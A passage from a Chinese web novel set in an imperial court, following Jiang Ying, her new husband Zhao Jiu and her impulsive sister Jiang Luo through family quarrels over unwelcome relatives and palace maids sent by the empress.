刑如风安慰完一个,又回头道:“陛下你想开点!那竹马都**!渣渣都不剩了你怕毛线!”
明惠帝强忍着哽咽,“就是**才让人惦记!”
刑如风:“……”
受不了了!
这个充满恋爱脑的世界什么时候毁灭啊!
他一手一个,拖到榻上去歇着。
又给两人灌了醒酒汤。
明惠帝差点被呛到。
刑如风心虚一秒,回头就看到赵咎似乎清醒不少,他忙给他一肘击,压低声音道:“九!是兄弟就别告状!“
赵咎摇了摇沉甸甸的脑子,对明惠帝哀莫大于心死的样子很是看不上眼。
“不告状……你忙去吧!”
酒醒以后,赵咎对自己所作所为忘得一干二净,但大外甥哽咽的声音始终徘徊脑海。
他没有把常无忌弄死,也是顾忌这一层。
还是不让明惠帝夹在中间难做了。
“其实也能理解。”姜璎如是道。
梁皇后觉得自己背负了常三郎一条命,如果不是因为赐婚,常三郎不会一头扎进军营,明明当时年纪也不大,他却各种不怕死地往前冲,能杀一个是一个。
后面据说尸体都凑不完整。
小两口给卫国公夫人上了香,才回房用膳。
姜璎道:“那六个宫人就先安置在客房,你别怕,我会保护好你的。”
赵咎心头一甜,方才的烦躁顿时不翼而飞。
“那就有劳阿池,一定要保护好我的清白。”
他嘴角微微上扬,偷亲一口,说得冠冕堂皇,“这是定金,放心,之后还会有重谢。”
姜璎:“……”
第135章 大人
入秋的雨带了一丝凉意,歇一阵下一阵,淅淅沥沥、绵绵不绝。
姜璎惦记着王氏的身子,让香薷取了油纸伞和披风,沿着长廊走一段路,再穿过月洞门,复行数十步,半路碰上郑氏。
“二嫂。”
还未见礼,就被郑氏握住了手臂。
“一家人讲究个什么虚礼?”目光在姜璎脖颈停留片刻,郑氏露出一个心照不宣的笑容,嗔怪道,“还下着雨呢,你也不知道多歇会儿,小心着凉。”
“不要紧。”姜璎道,两人一同往王氏的院子走去。
“我听说皇后娘娘一大早送了六个宫人给你们?”郑氏问,语气颇为关切,生怕小两口成亲第二日就闹别扭。
虽然以姜璎的脾气,怎么都吵不起来。
“皇后娘娘厚爱,实在让人受之有愧。”姜璎抿嘴一笑,轻声细语道,“二嫂放心,我会好好安置这几个宫人的。”
郑氏微微颔首,漫不经心道:“皇后娘娘宫里的人,想来个个聪明能干,你也干脆趁着这个机会,让香薷香附她们好好歇一歇,院里的活儿分些出去,别辜负了皇后娘娘的一番好意。”
姜璎点头道:“我也是这样想的。”
梁皇后把人送过来,无非就是想恶心赵咎,最多再破坏一下他们新婚夫妻之间的感情。
但要说她会为了这几个宫人撑腰,那是绝对不可能的。
除非她想跟赵太后公然作对。
赵太后还能不了解自己弟弟是什么德行?她之前再怎么讨厌姜璎,也不过是吩咐刘氏母女把人带回去,都没想过给赵咎送女人。
梁皇后是君,赵咎是臣,这点不错,先君臣后舅甥。
但——赵太后还没死呢!
再怎么样也轮不到梁皇后来做这个主。
卫国公府不养闲人,姜璎从一开始就准备把这六名宫人供起来,她让向氏看着安排,能干什么活就干什么活。
梁皇后手再长,难道还能管得了臣子的后院不成?
两人进屋时,药味还未彻底散去。
王氏靠着隐囊,眉眼间一抹倦色,听下人说郑氏她们来了,方才打起精神坐起来。
“大嫂。”
“大嫂。”
一前一后的声音,令王氏眼神逐渐柔和。
她握着姜璎的手,关心道:“昨儿累了一天,今日怎么不多歇歇?”
姜璎实话实说:“我想你了。”
王氏怔了一怔。
郑氏则是一脸稀奇。
明明方才还有了几分大人样子,这一转眼,又跟个孩子似的……不对,王氏的长子赵慎,今年十二,尚且都不会这样跟母亲撒娇。
郑氏忍不住乐了一下。
姜璎不明白郑氏笑什么,她低头看着王氏隆起的小腹,再过两三个月就要生了,希望一切都能顺顺利利。
“大嫂的身体,有没有好一些?”
王氏听到这话,眼底漾开浅浅的笑意,温柔道:“好多了。”
她没提早上那件事。
姜璎不是小孩子,她有分寸,王氏相信她能处理好,自然不会过多追问。
“对了,大嫂。”郑氏忽然想起来一件事。
赵佩雯祖孙三个被关起来也有好长一段时日,前两日张琼华出嫁,卫国公看在亲戚的份上,公中出了一份嫁妆,虽然不多,但也聊胜于无,好歹没让张琼华面子掉地上。
今日回门,张琼华定然会携夫婿一同来卫国公府。
毕竟是从这儿出嫁的。
“老夫人自上月起,身子骨便一直不大好,我瞧着还是得精养着,不如让他们在院子外头磕个头就回去吧,也省的折腾。”郑氏道,嘴角含着一丝不易令人察觉的嘲讽。
从卫国公府出嫁都算是便宜张琼华了。
如今还要回来。
这不是平白给他们家添晦气吗?
王氏身体不好,郑氏也懒得应付张琼华,这祖孙三个没一个好东西,干脆连面都别见了,省的又折腾出幺蛾子来。
王氏无可无不可,“这些小事,你做主就好了。”
至于赵佩雯是不是真的病了。
根本没有人会在意。
一个遭娘家厌弃的出嫁女,还妄想回来摆长辈架子,指手画脚、搬弄是非,真当所有人是她爹娘,都要处处容忍迁就她不成?
如今就连卫国公这个嫡
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亲哥哥,都不大过问她的情况。
王氏更不会去管了。
客院的一应事宜全都交到郑氏手里,她只要稍稍动动手指头,就有一百种办法,让赵佩雯吃尽苦头!
姜璎坐在边上,静静地听王氏和郑氏说话。
姜璎已经好久没听说永安侯府的人或事了。
要不是郑氏提起,她都不知道永安侯府前两日办喜事。
“阿池,过些日子王老夫**寿,我们一同过去。”郑氏笑道。
姜璎点了点头,好在贺礼已经准备好了。
王氏自从怀了身孕,精力一日不如一日,全靠汤药维持气血,她微微一笑,“我就不留你们了,都回去歇着吧。”
“大嫂,你一定要保重好身体。”
姜璎满脸担忧地看着她,虽说王氏体内的毒素基本上都清除得差不多,但长年累月下来,还是给身体造成了不可修复的损伤。
就连刑如风都说,即便这孩子能平安出生,她/他也不可能跟普通孩子一样健康。
赵咨私底下问过刑如风,能不能舍弃孩子。
然而堕胎和生育,都是一样的伤身。
王氏摸了摸姜璎的脸蛋,柔声道:“你放心,我有分寸的。”
她不止肚子里这一个孩子。
她还有大郎他们。
无论如何,她都会努力活下去。
“阿池,你也不要太担心了。”一直到走出王氏的院子,郑氏还在安慰姜璎,“邢医官说了,孕妇不宜忧虑多思,咱们越是担心,大嫂心理压力就越重,对大人小孩都不好。”
“嗯,我记住了。”
就在这时,远处传来一阵闹音。
“凭什么不让我进去?我是回来看大母的!让开,没听见吗?都给我让开!”
“老夫人年事已高,身体不好,太医吩咐要静养……”下人的话还没说完,就挨了一记耳光。
张琼华怒道:“你敢以下犯上,咒我大母?信不信我告诉国公爷,把你们这群不中用的东西统统发卖了!”
她不信大母会生病。
明明她出嫁那日都还好好的,怎么可能短短三日的功夫就病了?
第136章 骂人
张琼华连客院都没靠近,就被下人们拦了下来,这大吵大闹的,惊扰到老夫人怎么办?
“张女君,老夫人本就年事已高,前些日子是强撑着身子操持婚事,你是不信,大可以请朱娘子出来一问究竟。”管事婆子有理有据道。
张琼华和朱季灵早就闹掰了,别说朱季灵不愿意出来见她,就是见了,也不能保证她说的都是实话。
张琼华生气道:“你少说这些有的没的,就算大母真的病了,我也得亲眼见了,才能放心!”
“没错。”
姜承祁道:“老夫人一向疼爱琼华,若是知道我们来了,一定高兴极了。你们这样阻拦,到底意欲何为?难道我们连看望长辈的权利都没有吗?”
有了夫婿撑腰,张琼华顿时底气十足。
自从母亲去世,父亲另娶,妻妾成群,父女俩的感情便日渐淡漠,继母不曾苛待她,但也不会将她当作亲生女儿一样疼爱。
父亲和继母甚至还想毁了她母亲生前为她定下的亲事!
张琼华一气之下找了赵佩雯。
让外祖母狠狠训斥了父亲。
她知道闹这一通,本就不多的父女情分是彻底尽了,左右张家早就没了她容身之处。
张琼华一不做二不休,撺掇了赵佩雯前往盛京。
她要是能在卫国公府出嫁,那必定是风光无两!
就算父亲继母不喜她,也得看在赵家的面子上过来帮她操办昏礼。
张琼华为自己筹谋许多。
但她万万没想到,卫国公府的人根本不像赵佩雯所说的那么好拿捏。
以至于后面她的昏礼简陋无比,张家甚至都没有来人!
张琼华眼底闪过一丝忿恨。
这些个拜高踩低的人!
也只有外祖母才会真心为她着想。
“不管大母好与不好,我都要亲眼见过才能放心,你们要是不让开,别怪我去请国公爷来做主!”张琼华威胁道。
她如今唯一能指望的靠山就是赵佩雯。
好歹也是卫国公的嫡亲妹妹,一家人打断骨头还连着筋呢,她就不信卫国公真会放任赵佩雯不管。
果不其然,管事婆子一听张琼华要去请卫国公,面色微变,态度也不像刚开始那么强硬。
张琼华不免有些得意,这些只知道见风使舵的贱胚子,就该给他们点颜色瞧瞧,省的谁是主子谁是奴才分不清楚!
等她见了大母,把永安侯府爵位的事情解决了,再来处置他们也不迟。
然而。
就在张琼华以为下人们会毕恭毕敬请她进去时,管事婆子却道:
“张女君,太医亲口说的要以静养为主,你若真为老夫人着想,就不要再来打扰了。”
“再怎么样,卫国公府都是老夫人的娘家,奴婢们一定会尽心尽力照顾好主子,张女君大可放宽心。”
姜承祁微微皱眉,言辞犀利道:“太医只说静养,又没说不许见人,你们莫不是做了什么亏心事,才如此阻拦?!
张琼华这会儿也反应过来,咬牙切齿道:“肯定是你们照顾不周才导致大母生病!”
她不管不顾推开面前的下人,边往客院那边走,边大喊道:“大母!我是琼华!我回来看你了!”
郑氏脸色一沉。
大呼小叫,成何体统!
吴郡张氏就是这么教养女儿的?
她偏头看了眼贴身仆婢,后者立马带着人过去,准备把张琼华夫妻两个拦下驱赶离开。
“阿池,我们走吧。”郑氏道,这些小事还轮不到她们亲自出面。
“嗯。”
两人在月洞门前分开。
姜璎正要回房,就见门房急急忙忙走来禀报:“女君,二娘子过来了。”
二娘子?
什么二娘子?
姜璎一时半会没能想起来。
“是姜二娘子,她说来看您……”门房提醒道。
话音刚落,外头传来一道熟悉的声音。
“真是吵**。”
倨傲中又流露一丝烦躁。
姜珞被仆婢拥簇着,淡淡看了一眼张琼华,奇怪道:
“你是乡下养的狗吗?这么能叫。”
“……”
卫国公府的下人忍不住嘴角抽搐,低下头。
说得可真好啊!
“你是谁?”张琼华气得不轻,她没见过姜珞,自然不知道面前人的身份,“这是卫国公府,你敢这么和我说话…”
“行了,你少说两句!”姜承祁忽然一把抓住她的胳膊,低斥道。
张琼华愣在原地,不可置信地看着自己的夫婿。
“夫君?”
姜珞扑哧一笑,对白芨道:“知道的是赵老夫人的外孙女吗?不知道的,还以为是赵家的主子呢。”
“还有脸在我面
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前耍威风。”
她嘁了一声,鄙夷道,吗:“真不要脸。”
白芨轻咳道:“姑娘。”提醒姜珞收敛点,她们好歹也是天水姜氏贵女,怎么能如此粗鄙呢?
张琼华面色一阵青一阵白,被羞辱得险些掉眼泪。
姜承祁却顾不上安抚她,“姜二姑娘。”他两三步来到姜珞面前,露出一个自认为和善的笑容,试探性问道,“你是来找阿池的吗?”
姜珞只在马场上见过姜承祁一面,对于无关紧要的人和事,她向来不会放心上。
但——
“阿池?我姐姐的小名也是你能叫的吗?”姜珞冷下脸,眼神一闪而过恼怒。
如果说张琼华的大喊大叫还只是令她感到烦躁,那么,姜承祁的这一句,直接惹恼了她。
“你是永安侯府的人吧?姜宝瑜是你妹妹对吧?”
姜承祁急忙道:“是,但……”
姜珞打断道:“白芨!”
一声令下。
白芨上去就是两巴掌!
啪!
啪!
左右对称,十分完美。
把所有人都给惊住了。
姜璎眼皮一跳,隐隐觉得这场面有些眼熟。
这丫头殷勤侍奉了萧止柔几日,不会就光学了扇人巴掌吧?
“你干什么?!”张琼华瞠目结舌,又惊又怒,她到底是谁,怎么敢在卫国公府动手**的!
“干什么?我教训人,没看见吗?”姜珞冷笑道,“瞎了眼的东西,滚一边去,不然连你一块打!”
姜承祁垂在身侧的手慢慢收紧,半晌又松开,苦笑道:“姜二姑娘,在下不知哪里得罪了你?如果是因为阿池,我跟她好歹也是兄妹一场……”
“你给我闭嘴!”姜珞勃然大怒,也不喊白芨了,直接上去一个大耳刮子。
抽得她手心火辣辣。
姜珞仍不解气。
“不要脸的东西,谁跟你是兄妹?也不照照镜子看看自己配不配!仗着救命之恩欺负了我姐姐这么多年,不夹着尾巴做人也就罢了,还敢在我面前晃悠!你们永安侯府的人真是一路货色啊!”
白芨拉了一下姜珞,没拉住。
她骂得正是最上头的时候。
“会说话就能当人了?真是蝙蝠身上插鸡毛,忘记自己是个什么鸟!赶紧滚!再不滚,信不信我撕了你的嘴,剐了你的脸?”
第137章 狗腿
姜珞骂不过瘾,手痒痒想再抽他两个大耳刮子,谁让姜承祁这么不要脸,做了那么多伤害她姐姐的事情,还恬不知耻说好歹兄妹一场?
“你这种臭水沟的老鼠,以为偷了件衣服就能跟我们攀亲戚,也不看看自己自己配不配!”
她冷哼一声。
骂人浪费口水,还是直接上手来得痛快!
白芨心中叹了口气,正要劝说时,余光瞥到一抹身影。
“姑娘!”她一把拽住姜珞,心肝俱颤,眼神一个劲地暗示,“我们来卫国公府是为了看大姑娘的,可不能为了些无关紧要的人耽误功夫啊。”
姜珞没接收到暗示,一把甩开她的手,“哎呀,也不差这一柱香的功夫,再说了,我想打他们很久了,今日老天开眼送机会,难道我还要白白放过不成?”
“行了白芨,你就别墨迹了!来两个人给我摁住他,我要替姐姐讨些利息!”
“姑娘!”白芨几乎眼前一黑。
这傻孩子怎么就看不懂眼色呢?
姜珞奇怪道:“干嘛呀,眼睛一抽一抽的?”说着,她警惕起来,“你要是不舒服就赶紧回去,别一会儿把病传染给姐姐!”
白芨:“……”
姜璎实在看不下去,板着脸道:“姜珞,你胡闹够了没有?”
如同神兵天降。
卫国公府的下人眼前一亮,擦了擦额头上的虚汗,暗自庆幸姜璎来得及时。
姜承祁张了张嘴,“阿池……”
脸颊上的红印子分外明显,他又难堪,又有种隐秘的期盼。
一个是有着十年感情的兄长,一个则是刚相认的妹妹。
阿池…她会怎么选?
“姐、姐姐?!”
姜珞听到声音,就跟被踩了尾巴的猫儿似的,差点炸毛。
她浑身僵直,扭捏着转过身来,脑子飞速运转,从来没有哪一刻像现在这么机灵。
“姐姐你怎么来了?是特意出来接我的吗?”她把手背到身后,露出一个心虚而又讨好的笑容,“我何德何能让姐姐千金之躯受累!姐姐、姐姐,我扶你回去吧?”
姜璎皱眉道:“你在这里做什么?”
姜珞还记得马场的事情,姐姐就是因为她嚣张跋扈,才不肯认她的!
她立马道:“我刚来就看见有人在这大吵大闹,出于礼貌劝了两句!姐姐,我什么都不知道!”
张琼华回过神来,恶狠狠瞪着姜璎。
“你们天水姜氏的家教就是这样的吗?信口胡说,黑白颠倒?”
家世好了不起吗?
还不是流落在外多年,靠人施舍才活到现在!
“姜璎,你别忘了,当初可是我家夫君把你从难民堆里捡回来的!要没有他,你哪能过上现在的好日子?!”
“琼华!”
姜承祁有些尴尬,想要阻止,却没能拉住张琼华。
她冷哼道:“不知恩图报也就罢了,如今还让些不三不四的人欺负你哥哥,你的良心都被狗吃了吗?”
“你才是狗!披着人皮的牲口!”
姜珞火冒三丈,上去就是一个大耳刮子,揪着张琼华的耳朵,骂道:“我是不是太给你脸了?**!竟然敢侮辱我姐姐!想吃巴掌就说,我还能少了你的不成?!”
说完左右开弓,扇得张琼华头晕耳鸣,惨叫连连。
“啊——!”
“你这个疯子!来人、来人!”
白芨等人象征性地阻拦了一下,顺便踩了一脚张琼华身边的仆婢。
让她们一个趔趄,东倒西歪,扑到自家主子身上。
白芨趁此机会扯了姜珞一下,低声提醒:“姑娘,大姑娘还看着呢。”
姜珞理智稍稍回归,但余怒未消。
这些**!
当着她的面都敢这样欺负姐姐,背地里肯定还做过更多过分的事情!
她要扒了他们的皮——!
“姜珞。”
不轻不重的声音。
姜珞脸上的凶狠迅速转变心虚,她绞着手,小声道:“姐姐……”
姜璎道:“谁让你**的?”
姜珞理直气壮道:“我没**!”
没**?
那姜承祁脸上的巴掌印哪儿来的?
还有刚才,她跟个虎崽似的扑上去对着张琼华又打又抓,当她瞎吗?
姐姐递来的眼神不言而喻。
姜珞试图狡辩:“姐姐你看错了!姜承祁脸上飞了虫子,我帮他打虫子呢!还有这个贱……”
“嗯?”
“这个女人!”姜珞立马改口,“她
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自找的!她说那些话,不就是想故意刺激我,然后讨巴掌吃吗?”
越说越觉得有道理。
姜珞挺直腰板,“姐姐,你就是太善良了,不知道永安侯府这种破落户最是心机深重!他们喝习惯了西北风,想尝尝巴掌的滋味,故意激怒我,来达成满足变态内心的目的!”
姜璎:“……”
说得她差点都信了。
张琼华疼得眼泪止不住,姜承祁一脸隐忍,故作轻松道:“阿池,你别责怪姜二姑娘了,她年纪小,不懂事……”
“她不是还帮你打虫子了吗?哪里不懂事?”姜璎不耐打断。
姜珞再笨,那也是她妹妹,姜承祁脑子坏了吧,竟然在她面前说姜珞坏话。
姜承祁没想到姜璎会说出这种话,愣了一下,又急急忙忙道:“她……”
这样漏洞百出的谎话,姜璎难道也相信吗?
“没错!我就是帮他打虫子!”姜珞骄傲地挺起胸膛,又凑到姜璎身边,狗腿状,“多亏姐姐明察秋毫!”
姜璎手指抵住她额头,轻轻推开。
“老夫人身子不适,需要静养,姜大公子,你们还是请回吧。”
张琼华怨愤道:“不,我不走!”
姜承祁面色不太好看,“阿池,你大嫂也是想见一见老夫人,嫡亲的外祖母,若是不见一面,哪里放心得下?”
“大嫂?”
姜璎眼中浮现一层怒意,冷冷道:“我与你们永安侯府早已没有关系,姜大公子还是不要乱认亲戚的好。”
卫国公府的下人见状,立马强硬道:“张女君,请吧!”
姜珞给白芨使了个眼色,让她找人给姜承祁他们套麻袋打一顿!
白芨目光偏移,当没看见。
“姜珞。”
“姐姐我在呢!”姜珞露出傻乎乎的笑容,抱住姜璎的手臂,脑袋靠在她肩上,偷偷吸了一口气,啊,好香~她满足地眯起眼。
“你少嬉皮笑脸。”姜璎不习惯跟人这样黏糊,板起脸道。
姜珞只好老实站直身体,捏着手指小声道:“姐姐,你不要生气,我下次不打他们就是了。”
才怪!
敢骂她姐姐,她让人拔了他们舌头!
偷偷干!不让姐姐知道!
第138章 仆人
“以后不许这样横冲直撞**,像什么样子?”
姜璎边走边数落,“他们说就由他们说,哪能就因为别人三言两语,而暴跳如雷的?知道的说你鲁莽好斗,不知道的还以为是被戳中痛脚了。”
得亏是在卫国公府,要是在外头,她还要不要名声了?
姜珞跟在姐姐身边,亦步亦趋,小鸡啄米似的点头,不管姜璎说什么,她都飞快应答。
“姐姐说的对!”
“我知道错了!”
“以后再也不敢了!”
姜璎回头看她,也不知道吃错了什么药,又开始一个劲儿地傻乐。
“姐姐,你怎么这么看我呀?”姜珞扭捏道,小脸红扑扑,姜璎的絮叨就像是一大罐蜂蜜,淋在她的心尖尖,香香甜甜,美得她晕头转向。
姜璎收回目光,直视前方,“我没有看你。”
姜珞急了,“怎么没有?姐姐刚才就是在看我呀。”她摸了摸脸蛋,有些惶恐,难道她变丑了?
“我在看一个傻瓜。”姜璎语气平平,“一个挨骂都能乐开花的傻瓜。”
身后的仆婢们忍不住笑。
白芨一脸无可奈何。
果不其然,下一刻。
姜珞无比高兴道:“我是傻瓜!我是傻瓜!”
姐姐看的就是她!
姜璎停下脚步,脑门缓缓冒出一个:“?”
姜珞鼓起勇气挽住姜璎的胳膊,嘿嘿傻笑道:“但姐姐没有骂我啊。”
姜璎:“……你听不出来吗?”
姜珞坚定道:“我听出来了!姐姐话里话外都在心疼我,姐姐是为我好!”
她忍不住蹭了蹭姜璎的肩头,一脸感动,“姐姐,我好爱你。”
姜璎鸡皮疙瘩掉一地。
白芨嘴角抽搐。
身后仆婢们低着头,忍笑忍得肩膀颤抖。
姜珞回头,恼怒地瞪了一眼她们。
“笑什么笑?”
仆婢们立马抿紧嘴巴。
姜璎拍了拍她手,“不要胡闹。”
姜珞一秒变脸,猫眼浸润着最纯粹的依赖,“姐姐,我跟她们开玩笑呢。”
姜璎“嗯”了一声,“我刚才说的话都记住了吗?”
“记住了!”
“复述一遍。”
“啊?”姜珞傻眼了,怕姐姐不高兴,连忙动脑子回忆,“……以后不许直接上手**,说话做事,要有分寸理智……我是天水姜氏的女儿,出去以后,代表就是姜家的颜面,要三思而后行。”
磕磕巴巴的复述。
生怕漏掉一点儿。
姜璎点了点头,“记住就好。”
她不知道爹爹和姨娘是怎么教的姜珞,但既然爹爹将她留在盛京,那她就不能不管。
“用过朝食没有?”姜璎问。
姜珞早上吃了一碗红豆粥,两块蒸饼,一碟炙牛肉,还有一盏蜂糖酥酪,最后在萧止柔一句“你是豚精投胎是不是”的骂声中,才悻悻然停箸。
不过,既然姐姐问起来,那她当然是——
“没有!”
姜珞睁着眼睛说瞎话,撒娇道:“姐姐,我们一起去吃点吧。”
“我用过了,你想吃什么,我让人给你做。”
“那算了……”姜珞嘟囔道,她只是想跟姐姐一起用食,又不是真的猪精投胎。
姜璎无奈道:“你今日过来,是有什么事儿吗?”
提到这个,姜珞脸上浮现怒气,忍不住道:“姐姐,我听说皇后娘娘赐了六个女人,她什么意思啊?是不是故意欺负你!”
姜璎一怔。
这傻瓜,是来给她撑腰出气的吗?
姜璎没想到事情传得这么快,连姜珞都知道了,那姜昀和萧止柔肯定也早就得到消息。
“不许胡说。”她轻轻蹙眉,语气带了几分警告,“皇后娘娘一番好意,你再口无遮拦,我……”
还没想到怎么恐吓姜珞。
她就立马捂住嘴,瓮声瓮气道:“没有口无遮拦,我只和姐姐说,不在外头嚷嚷。”
姜璎这才稍稍放心。
别说姜昀如今只是秦州刺史,就算坐到尚书令的位置,姜珞也不能诋毁皇后。
明惠帝珍爱妻子,岂能容许有人冒犯梁皇后?
姜璎心里叹了口气,姜珞这个肆意妄为的性子,该改改了。
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否则迟早吃苦头。
到了蓼莪院。
姜珞看到翻新过的院子,心里还算满意,但嘴上仍然嫌弃道:“姐姐,你住在这小院子里,闷不闷呀,会不会挤得慌?要不让阿父再给你置办一处宅子吧!”
她一副“姐姐你受苦了”的表情,令蓼莪院的下人有些尴尬。
姜璎没忍住打了她手背一下,“又胡说八道,蓼莪院好得很,我要那么大的宅子做什么?”
姜珞挨打才肯老实,四处张望,扯开话题。
“蓼莪院?是出自《诗经》里的蓼莪吗?蓼蓼者莪,匪莪伊蒿,哀哀父母,生我劳瘁。”
说完,她想起什么,俏生生的脸又拉了下来。
蓼莪,有悼念父母之意。
通过反复咏叹父母养育之艰辛,而强调未能尽孝报恩的自责。
这个赵堰!真恶心!
卫国公夫人病逝,又不是赵咎造成的!他至于取这种院落名字,一遍又一遍提醒儿子是他害死自己亲娘吗?
赵咎一个人难受也就算了。
要是害得她姐姐因为这个,想起母亲去世……伤心难过怎么办?!
姜珞咬牙切齿,恨不得把卫国公父子俩暴打一顿!
老的坏,小的菜!
“这个院名不好听,姐姐,你让姐夫换一个!”她生气道,跟皇帝身边进谗言的小人似的,嘀嘀咕咕说赵咎坏话,“他要是连这么点小事都做不好,肯定有问题!”
不是没用,就是真心掺水!
“这一路上嘴就没停过。”姜璎戳了戳她脑门,“你说你,又不聪明,还学人挑拨离间。”
“差不多行了啊。”
“……”姜珞气鼓鼓的脸蛋瘪了下去,抵死不认,“我才没有挑拨离间。”
趁着姜璎回房拿东西,姜珞迅速找了个婢女,让人带路。
她跟个监工头头似的,把蓼莪院转悠了一圈,四处检查巡视。
她可是姐姐最忠实的仆人!没有哪个偷懒的下人能逃过她的火眼金睛!
“对了,皇后娘娘赐下的宫人在哪儿呢?”姜珞道,“带我去看看。”
白芨:“……”
第139章 心肝
“香薷,我记得嫁妆里有一对羊脂玉镯子,是放在库房还是首饰匣子?你帮我找找。”
“好像是在库房。”香薷道,“奴婢去看看。”
姜璎从首饰匣子取出钥匙递给她,又翻了翻上下几层,大多都是头上用的饰品,珠花、发簪、钗环一类,最底下一层格子静静躺着她贴身佩戴的和田桃花玉。
“还真没有。”她嘟囔了一句。
赵咎坐在长案后,支着下巴,语气酸溜溜,“进来就一通翻箱倒柜,找什么呢?这么用心,连我一个大活人坐在这都没看见。”
姜璎被这声音吓了一跳。
她还以为赵咎出去了,“你一直坐在这啊?”语气有些惊奇。
赵咎语气凉凉:“你去看大嫂,说去去就回,我就等啊等,等得心都要碎了,你也没回来。”
“说吧,是谁绊住了你的脚?大嫂,还是二嫂?”
“……”
姜璎跪坐他身边,神情流露着一丝心虚,顾左右而言他,“什么心碎?我看看能不能重新拼凑起来。”
赵咎斜睨道:“你当是茶盏呢?”
还拼凑。
“已经碎成渣子了,凑不起来了。”
姜璎“啊”了一声,摸了摸他心口,扑通扑通的心跳,震得她掌心发热。
“检查过了,没有碎。”姜璎一本正经,庆幸道,“幸好我回来的及时。”
她眉眼弯弯,试图蒙混过关。
赵咎张开手臂,将她搂到怀里,脑袋埋在她脖颈,忍不住闷笑出声。
姜璎到底知不知道,她每次一本正经的模样,真的特别可爱好玩儿?
不过……
他可不是那种随便说两句好话就心软的人。
新婚第二日,就把夫君一个人扔房里,简直是闻所未闻,见所未见,丧心病狂到了极点!
赵咎克制着嘴角上扬的弧度,神情严肃。
“哪里回来的及时?简直就是胡说八道!从出去到现在,都快一个时辰了。”
“姜璎,你说说你是不是没心肝,早上嚷嚷要分床,现在又让我一个人独守空房。”
“你是准备把我当花瓶一样搁房里放呢?还是想——”
姜璎反手捂住他的嘴。
动作已经逐渐熟练。
她也学他严肃脸。
“赵咎,你不要胡说八道,我才不是那种人。”
“那你是哪种人?”赵咎哼了一声,握住她的手。
像是得到了某种暗示,姜璎鬼使神差般道:“我是你的人……”
话没说完,赵咎彻底暴露真面目。
杏眸弯弯如新月,眉目舒展间流淌的笑意,带着一丝若有若无的诱惑,又暗藏狐狸精勾引成功的那种得意劲儿。
他乐此不疲地玩着这种小游戏。
一遍又一遍地诱导姜璎表白。
百听不厌。
“我也是你的人。”赵咎捧着她的脸,亲了一口。
大家有来有往。
很公平。
只是没想到接吻这么容易上瘾,原本准备的浅尝即止,在碰到唇瓣的那一刻,瞬间被脑海里的烟花所埋没。
噼里啪啦的声音,刺激着心跳与呼吸。
姜璎微微仰头,唇瓣红润而饱满,她喘息一声,身体在颇有技巧的舔吻中逐渐发软。
“姑娘。”
香薷的声音在外头响起。
姜璎睫毛一颤,想推开他起身,却发现提不起半点力气。
“别怕,她们不会进来的。”他轻轻抚着她的后背,渍渍水声在这种情况仿佛被放大了无数倍,令人面红耳赤,心跳加快。
赵咎吃掉了她唇瓣上的最后一点晶莹,又爱怜地吻了吻她耳廓,“刚才听你说要找什么玉镯?”
“嗯……”
“给大嫂?还是二嫂?”
“都不是。”姜璎调整着呼吸,声音懒洋洋的,“姜珞来了,差点又闯祸。”
她要找个“**”,把这个小傻瓜拴起来。
赵咎微微挑眉,“你妹妹啊。”
姜璎听出他语气中的戏谑,回嘴道:“也是你妹妹了。”
赵咎闷笑着点头,“行行行,那是得好好管教。”
不然一人闯祸,两家丢脸。
姜璎推了推他,小声道:“下次不跟你一起胡闹了,浓浓还等着呢,你快点帮我收拾衣服…”
“得令。”
赵咎将她抱到榻上,把衣角褶皱的地方抚平,低眉顺眼的模样,有种良家妇男的纯情。
赵咎忽然抬头,“口水挂下来了。”
姜璎连忙摸下巴,发现被骗,小脸噌地通红,忍不住恼羞成怒,
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“不要你了!我让香薷香附帮我弄…”
说完就要起身离开。
赵咎连忙拉住她,“开玩笑呢,再给个机会吧,我这次一定闭紧嘴!”
姜璎板着脸,白里透粉的脸蛋就像春季的桃,一口下去汁水淋漓,鲜嫩清甜。
赵咎整理好她的衣裙,直起身子。
姜璎哼出一声,招呼不打一声就往外走,颇有用完就扔的渣男风范。
“开个玩笑都不行。”赵咎摸了摸鼻子,悻悻然道。
得亏没人看见。
要不然,他还有什么家庭地位。
“姑娘,镯子找到了。”香薷捧着个奇楠雕花木匣,打开就看见一对极品的羊脂玉镯静静躺在里头,日光映照下,质地又润又细又白,美得不像话。
姜璎点了点头,看了一眼院子,“她人呢?”
香附尴尬道:“二姑娘说就在院子里转转,很快回来。”
姜璎差点一口气没上来,她还能不知道姜珞那点花花肠子?“去把她给我带回来!”
姜璎悔的肠子都青了,她明知道姜珞前科累累,还放她一个人在外头。
这不是故意给她钻空子吗?
“姑娘放心,奴婢瞧着,二姑娘是个有分寸的人,不会胡来的。”香薷安慰道。
“但愿吧。”姜璎叹了口气。
永安侯府的人也就罢了,爹爹和她都能摆平。
就怕她脾气上来又犯浑,那可是真是公然打皇后的脸了。
好在姜珞一听姜璎传唤,立马抛下一切赶来。
屁颠屁颠的。
像极了小猫踩着脚垫,高高扬起尾巴的模样。
“姐姐!”
“你去哪儿了?”
姜珞眨巴眨巴眼睛,“就四处转转啊。”顺便去看了看那几个宫人!果然不出她所料,好几个贼眉鼠眼满脸不安分!
“姐姐!我跟你说,皇后赐下来的宫人,里头有一个是她表妹!”
她气呼呼地告状:“我进去就听见她使唤另外几个宫女给她打洗脸水,什么活也不干!还说她才不做妾,要做就做平妻!”
气得她差点踹门而入。
都怪白芨!
拦她干什么都不知道!
白芨:“……”
我要不拦你,你就等着你姐姐姐夫混合双打吧!
第140章 玉镯
姜珞说完,才发现四周安静得过分,她小心翼翼地觑着姜璎的脸色,看不出有什么变化,但总感觉哪里不对劲。
“姐姐,你是不是生气了?”
“哪里看出来?”
“就是感觉啊,姐姐好像不太高兴……”姜珞小声道。
姜璎看了她一眼,没说话。
没有反驳,那就证明她感觉的没错!
姜珞立马重振旗鼓,斗志昂扬:“区区一个下人,也敢口出狂言!姐姐你放心,我这就去好好教训她一顿!”
姜璎:“……”
很好,有点眼色,但不多。
“站住。”
不冷不热的声音,让姜珞心中顿时警铃大作,她赶忙回到姜璎跟前,笑容讨好道:“姐姐,还有什么吩咐吗?”
姜璎看着她脸上的笑,不同于第一次见时的明媚张扬,反而充满小心讨好。
一种难以言说的烦闷充斥心头。
不应该这样的……她在心里道。
“姐姐我在呢!怎么了嘛?”姜珞全神贯注地盯着姜璎,那双如宝石般的漂亮猫眼倒映着她最爱的姐姐的身影,满满的信任依赖。
姜珞握住了姜璎的手腕,担忧极了,“姐姐,你脸色有点难看,是不是身体不舒服?”
“没……”
